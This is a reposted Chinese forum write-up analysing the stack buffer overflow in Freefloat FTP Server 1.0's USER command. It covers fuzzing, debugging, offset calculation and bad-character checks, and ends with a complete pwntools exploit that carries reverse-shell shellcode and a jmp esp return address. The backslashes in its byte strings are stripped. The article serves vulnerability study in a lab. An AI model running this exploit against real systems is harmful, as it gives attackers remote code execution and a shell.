Freefloat FTP Server1.0栈溢出漏洞分析

admin 2021年4月4日18:58:50评论247 views字数 5436阅读18分7秒阅读模式
Freefloat FTP Server1.0栈溢出漏洞分析

本文为看雪论坛优秀文章

看雪论坛作者ID:mb_uvhwamsn

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:Freefloat FTP server – ‘USER’ Remote Buffer Overflow
  • 漏洞编号:EDB-ID 23243
  • 漏洞类型:栈溢出
  • 漏洞影响:远程代码执行
  • 利用难度:Esay

2. 组件概述

freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件。

3. 漏洞影响

freefloatftpserver1.0

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows xp sp3
  • 靶机配置:

    (1) freefloatftpserver1.0

    (2) Immunity Debugger

    (3) Mona

  • 攻击机:kali 2.0
  • 攻击机配置:

    ­(1) Pwntools

    (2) ­Metasploit

2. 复现过程

使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出漏洞存在。

2.1 Infigo FTPStress Fuzzer测试

在windowsXP运行漏洞程序,程序打开ftp服务,并监听21号端口。
Freefloat FTP Server1.0栈溢出漏洞分析
ftpfuzz触发漏洞。
Freefloat FTP Server1.0栈溢出漏洞分析
Freefloat FTP Server1.0栈溢出漏洞分析
eip指向fuzz发送的测试数组‘AAAA‘,程序执行流已被更改,存在溢出漏洞。

2.2 metasploit的ftp fuzz测试

攻击机kali运行metasploit,运行如下命令:
#打开metasploitmsfconsole#查询可用的fuzzsearch fuzzing#使用ftp fuzz模块use auxiliary/fuzzers/ftp/ftp_pre_post#设置靶机set RHOST 192.168.112.146#漏洞利用exploit
运行结果:
Freefloat FTP Server1.0栈溢出漏洞分析
Freefloat FTP Server1.0栈溢出漏洞分析
靶机崩溃,eip指向未知内存地址,可以溢出。

三、漏洞分析

1. 背景知识

最简单的栈溢出,jmp esp作为跳板跳转到栈中执行。

2. 详细分析

2.1 Immunity Debugger调试

在靶机用Immunity Debugger打开freefloatftpserver1.0运行调试。
Freefloat FTP Server1.0栈溢出漏洞分析

2.2 python发包测试

在kali攻击机用pwntools编写脚本,向ftp服务器的USER输入点发送数据包测试:
from pwn import *p = remote("192.168.112.146", 21)paylad = 'A'*500p.sendline(payload)p.interactive()
程序崩溃,eip指向0x41414141,由发送的数据A的ascii码为0x41可知,USER输入点存在溢出漏洞。
Freefloat FTP Server1.0栈溢出漏洞分析

2.3 定位溢出点

输入用户名之前,程序会输出一条ftp服务器版本的语句,在immunity debugger中定位输出这句话的函数,从而缩小定位漏洞函数的范围。
Freefloat FTP Server1.0栈溢出漏洞分析
查询字符串
Freefloat FTP Server1.0栈溢出漏洞分析
在wsprintw函数设置断点。
Freefloat FTP Server1.0栈溢出漏洞分析
重新发送payload,单步调试,直到运行到出现异常的函数freefloa.004020E0。
Freefloat FTP Server1.0栈溢出漏洞分析
在freefloa.004020E0函数设置断点,重新发送payload,f7单步步入此函数。
Freefloat FTP Server1.0栈溢出漏洞分析
重复上述操作,接着在freefloa.00402190函数设置断点,单步步入,程序会在运行到00402881处跳转到004028EB处执行,之后调用freefloa.00402DE0函数,程序崩溃。
Freefloat FTP Server1.0栈溢出漏洞分析
在freefloa.00402DE0函数设置断点,步入之后未发现存在子函数,并且在返回的时候执行retn 8指令。
Freefloat FTP Server1.0栈溢出漏洞分析
观察此时esp指向的返回地址为0x41414141,执行retn命令之后eip指向0x41414141,使得程序崩溃。

Freefloat FTP Server1.0栈溢出漏洞分析

得出结论:freefloa.00402DE0函数可能出现栈溢出。

2.4 静态分析结合动态分析

用IDA加载程序进行静态分析,定位到函数sub_00402DE0。
Freefloat FTP Server1.0栈溢出漏洞分析
Strcpy函数存在溢出漏洞,将函数第三个参数a3的值复制到局部变量v8中,如果a3过长,会覆盖返回地址,那sub_00402DE0函数的参数a2,a3到底是什么?
这就回溯到调用此函数的位置了,通过之前动态分析可以得到调用函数为00402190,IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp命令进行比较,根据命令进行不同的响应。
 
immunity debugger回溯到sub_00402190函数里的00402881地址,这个地址的指令跳转执行漏洞函数00402DE0,查看栈帧能够获得参数。
Freefloat FTP Server1.0栈溢出漏洞分析
在IDA中定位,aXommandNotUnde就是上图的command not understood字符串,此处跳转执行402DE0。
Freefloat FTP Server1.0栈溢出漏洞分析
Freefloat FTP Server1.0栈溢出漏洞分析
参数1 V16是输入字符串长度,参数2 v17是输入字符串‘AAAA‘:command not understood’ 查看函数栈帧可验证。
Freefloat FTP Server1.0栈溢出漏洞分析
结论:函数sub_402DE0栈帧结构,(ebp实际不存在,只是方便记录相对偏移)
Freefloat FTP Server1.0栈溢出漏洞分析
只需填充0xFC-1个垃圾数据可溢出到函数返回地址(-1是因为程序在输入字符串前添加了单引号),重新组织poc,返回地址为cccc。
from pwn import *p = remote("192.168.112.146", 21)payload = 'A'*(0xfc-1) + 'cccc'p.sendline(payload)p.interactive()
返回地址为0x63636363,是cccc的ascii码,验证成功。
Freefloat FTP Server1.0栈溢出漏洞分析

4. 漏洞利用

(1) 利用条件

Windows xp sp3未开启DEP保护。

(2) 利用过程

a. 排除坏字符

在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可。
from pwn import *p = remote('192.168.112.146',21)bytearray = ("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f""x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f""x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5f""x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7f""x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9f""xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbf""xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdf""xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")payload = 'a'*(0xfc-1) + 'cccc' + bytearrayp.sendline(payload)p.interactive()
b. 生成shellcode

利用metasploit生成windows反弹shell的shellcode,排除坏数据’x00x0ax0d’,以c语言格式输出,靶机IP192.168.112.146
 
Freefloat FTP Server1.0栈溢出漏洞分析

Freefloat FTP Server1.0栈溢出漏洞分析
c. 内存中查找jmp esp命令

使用mona插件查询jmp esp指令的地址:
!mona jmp -r esp#或者!mona find -s "xffxe4" -m
Freefloat FTP Server1.0栈溢出漏洞分析
从中选择一个地址0x77D29353,作为跳板,跳转到栈上执行shellcode。
Freefloat FTP Server1.0栈溢出漏洞分析
d. 编写exploit

最终Exploit.py
from pwn import *
p = remote('192.168.112.146',21)
shellcode = ("xbfxb9x9bxb3x2fxdbxd2xd9x74x24xf4x58x33xc9xb1""x53x31x78x12x83xc0x04x03xc1x95x51xdaxcdx42x17""x25x2dx93x78xafxc8xa2xb8xcbx99x95x08x9fxcfx19""xe2xcdxfbxaax86xd9x0cx1ax2cx3cx23x9bx1dx7cx22""x1fx5cx51x84x1exafxa4xc5x67xd2x45x97x30x98xf8""x07x34xd4xc0xacx06xf8x40x51xdexfbx61xc4x54xa2""xa1xe7xb9xdexebxffxdexdbxa2x74x14x97x34x5cx64""x58x9axa1x48xabxe2xe6x6fx54x91x1ex8cxe9xa2xe5""xeex35x26xfdx49xbdx90xd9x68x12x46xaax67xdfx0c""xf4x6bxdexc1x8fx90x6bxe4x5fx11x2fxc3x7bx79xeb""x6axdax27x5ax92x3cx88x03x36x37x25x57x4bx1ax22""x94x66xa4xb2xb2xf1xd7x80x1dxaax7fxa9xd6x74x78""xcexccxc1x16x31xefx31x3fxf6xbbx61x57xdfxc3xe9""xa7xe0x11x87xafx47xcaxbax52x37xbax7axfcxd0xd0""x74x23xc0xdax5ex4cx69x27x61x63x36xaex87xe9xd6""xe6x10x85x14xddxa8x32x66x37x81xd4x2fx51x16xdb""xafx77x30x4bx24x94x84x6ax3bxb1xacxfbxacx4fx3d""x4ex4cx4fx14x38xedxc2xf3xb8x78xffxabxefx2dx31""xa2x65xc0x68x1cx9bx19xecx67x1fxc6xcdx66x9ex8b""x6ax4dxb0x55x72xc9xe4x09x25x87x52xecx9fx69x0c""xa6x4cx20xd8x3fxbfxf3x9ex3fxeax85x7exf1x43xd0""x81x3ex04xd4xfax22xb4x1bxd1xe6xc4x51x7bx4ex4d""x3cxeexd2x10xbfxc5x11x2dx3cxefxe9xcax5cx9axec""x97xdax77x9dx88x8ex77x32xa8x9a")
# 0x77d29353 -> jmp esppayload = 'a'*(0xfc-1) + "x53x93xd2x77" + "x90"*16 + shellcode
p.sendline(payload)p.interactive()
注:shellcode前16个x90是因为函数返回时的retn 8需要跳过,也可作为滑板,同时作为缓冲区防止执行shellcode时更改内存使得shellcode执行代码也被更改。
执行流程:
Freefloat FTP Server1.0栈溢出漏洞分析
栈帧结构:
Freefloat FTP Server1.0栈溢出漏洞分析
Shellcode使靶机开放4444端口进行shell连接攻击机,连接成功。
Freefloat FTP Server1.0栈溢出漏洞分析

四、参考文献

1. https://www.exploit-db.com/exploits/23243

2. https://giantbranch.blog.csdn.net/article/details/53291788

3. https://www.youtube.com/watch?v=i6Br57lh4uE

4. https://rj45mp.github.io/Freefloat-FTP-Server1-0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Freefloat FTP Server1.0栈溢出漏洞分析

- End -

Freefloat FTP Server1.0栈溢出漏洞分析

看雪ID:mb_uvhwamsn

https://bbs.pediy.com/user-home-913279.htm

  *本文由看雪论坛 mb_uvhwamsn  原创,转载请注明来自看雪社区。

# 往期推荐

 

Freefloat FTP Server1.0栈溢出漏洞分析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

Freefloat FTP Server1.0栈溢出漏洞分析

球分享

Freefloat FTP Server1.0栈溢出漏洞分析

球点赞

Freefloat FTP Server1.0栈溢出漏洞分析

球在看

 

 

Freefloat FTP Server1.0栈溢出漏洞分析

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):Freefloat FTP Server1.0栈溢出漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月4日18:58:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Freefloat FTP Server1.0栈溢出漏洞分析https://cn-sec.com/archives/326221.html

发表评论

匿名网友 填写信息